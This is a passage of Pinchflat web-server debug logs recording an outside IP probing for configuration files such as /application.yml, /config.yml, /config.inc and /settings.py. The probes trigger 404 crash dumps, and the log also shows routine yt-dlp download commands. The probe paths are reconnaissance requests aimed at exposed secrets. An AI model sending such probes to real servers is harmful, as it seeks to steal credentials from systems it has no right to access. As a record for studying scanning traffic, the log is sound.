=> "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3469.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application.properties", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50226}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3470.0>, params: %{}, path_info: ["application"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, (truncated) 21:08:45.978 [info] GET /application.yml 21:08:45.979 [debug] QUERY OK source="settings" db=0.1ms idle=144.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.979 [debug] QUERY OK source="settings" db=0.1ms idle=76.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.979 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.979 [error] #PID<0.3472.0> running PinchflatWeb.Endpoint (connection #PID<0.3471.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /application.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3471.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50228}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3472.0>, params: %{}, path_info: ["application"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/application.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-2YCIsIODh8AARYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3471.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50228}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3471.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50228}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3472.0>, params: %{}, path_info: ["application"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72 (truncated) 21:08:46.082 [info] GET /settings.py 21:08:46.082 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 21:08:46.082 [debug] QUERY OK source="settings" db=0.1ms idle=179.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.082 [debug] QUERY OK source="settings" db=0.0ms idle=111.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.083 [debug] QUERY OK source="settings" db=0.1ms idle=111.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.083 [debug] QUERY OK source="settings" db=0.1ms idle=104.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.084 [info] Sent 200 in 1ms 21:08:46.109 [info] GET /config.yml 21:08:46.110 [debug] QUERY OK source="settings" db=0.0ms idle=130.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.110 [debug] QUERY OK source="settings" db=0.0ms idle=27.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.110 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.110 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=zq_xrmmyWCE --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/6e/de/6ede137afa221b450511be9ae5a8c75b081f822ddcad355504fca11e4565b3bb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:08:46.110 [error] #PID<0.3476.0> running PinchflatWeb.Endpoint (connection #PID<0.3475.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3475.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50242}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3476.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-23USsciUysAARcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3475.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50242}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3475.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50242}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3476.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "htt (truncated) 21:08:46.120 [debug] Running yt-dlp command for action: download_thumbnail 21:08:46.121 [debug] QUERY OK source="settings" db=0.0ms idle=38.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.121 [debug] QUERY OK source="settings" db=0.0ms idle=37.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.121 [debug] QUERY OK source="settings" db=0.0ms idle=37.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.121 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=zq_xrmmyWCE --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/17/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/99/10/9910b0b2cb40cc094332b75dae2d0c26100a4ae120e539dae8aa8d8b8b2ea509.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:08:46.162 [info] GET /config.inc 21:08:46.162 [debug] QUERY OK source="settings" db=0.1ms idle=52.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.162 [debug] QUERY OK source="settings" db=0.0ms idle=52.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.162 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.163 [error] #PID<0.3481.0> running PinchflatWeb.Endpoint (connection #PID<0.3480.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config.inc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3480.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.inc", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50252}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3481.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config.inc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-3D2dw0cKKAAAReB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3480.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.inc", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50252}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3480.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.inc", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50252}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3481.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 